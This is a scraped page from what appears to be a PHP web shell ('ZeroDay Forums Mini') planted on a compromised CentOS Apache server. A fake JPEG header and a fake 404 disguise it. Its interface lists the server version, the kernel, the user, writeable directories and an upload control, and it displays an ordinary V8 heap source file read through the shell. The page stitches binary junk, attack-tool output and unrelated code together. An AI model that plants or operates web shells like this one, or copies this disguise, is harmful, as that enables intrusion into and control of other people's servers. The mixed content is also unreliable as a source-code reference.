����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /home/real/node-v13.0.1/deps/v8/src/heap/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/real/node-v13.0.1/deps/v8/src/heap/array-buffer-collector.cc
// Copyright 2017 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

#include "src/heap/array-buffer-collector.h"

#include "src/base/template-utils.h"
#include "src/heap/array-buffer-tracker.h"
#include "src/heap/gc-tracer.h"
#include "src/heap/heap-inl.h"
#include "src/tasks/cancelable-task.h"
#include "src/tasks/task-utils.h"

namespace v8 {
namespace internal {

namespace {

void FreeAllocationsHelper(
    Heap* heap, const std::vector<JSArrayBuffer::Allocation>& allocations) {
  for (JSArrayBuffer::Allocation alloc : allocations) {
    JSArrayBuffer::FreeBackingStore(heap->isolate(), alloc);
  }
}

}  // namespace

void ArrayBufferCollector::QueueOrFreeGarbageAllocations(
    std::vector<JSArrayBuffer::Allocation> allocations) {
  if (heap_->ShouldReduceMemory()) {
    FreeAllocationsHelper(heap_, allocations);
  } else {
    base::MutexGuard guard(&allocations_mutex_);
    allocations_.push_back(std::move(allocations));
  }
}

void ArrayBufferCollector::PerformFreeAllocations() {
  base::MutexGuard guard(&allocations_mutex_);
  for (const std::vector<JSArrayBuffer::Allocation>& allocations :
       allocations_) {
    FreeAllocationsHelper(heap_, allocations);
  }
  allocations_.clear();
}

void ArrayBufferCollector::FreeAllocations() {
  // TODO(wez): Remove backing-store from external memory accounting.
  heap_->account_external_memory_concurrently_freed();
  if (!heap_->IsTearingDown() && !heap_->ShouldReduceMemory() &&
      FLAG_concurrent_array_buffer_freeing) {
    V8::GetCurrentPlatform()->CallOnWorkerThread(
        MakeCancelableTask(heap_->isolate(), [this] {
          TRACE_BACKGROUND_GC(
              heap_->tracer(),
              GCTracer::BackgroundScope::BACKGROUND_ARRAY_BUFFER_FREE);
          PerformFreeAllocations();
        }));
  } else {
    // Fallback for when concurrency is disabled/restricted. This is e.g. the
    // case when the GC should reduce memory. For such GCs the
    // QueueOrFreeGarbageAllocations() call would immediately free the
    // allocations and this call would free already queued ones.
    PerformFreeAllocations();
  }
}

}  // namespace internal
}  // namespace v8

ZeroDay Forums Mini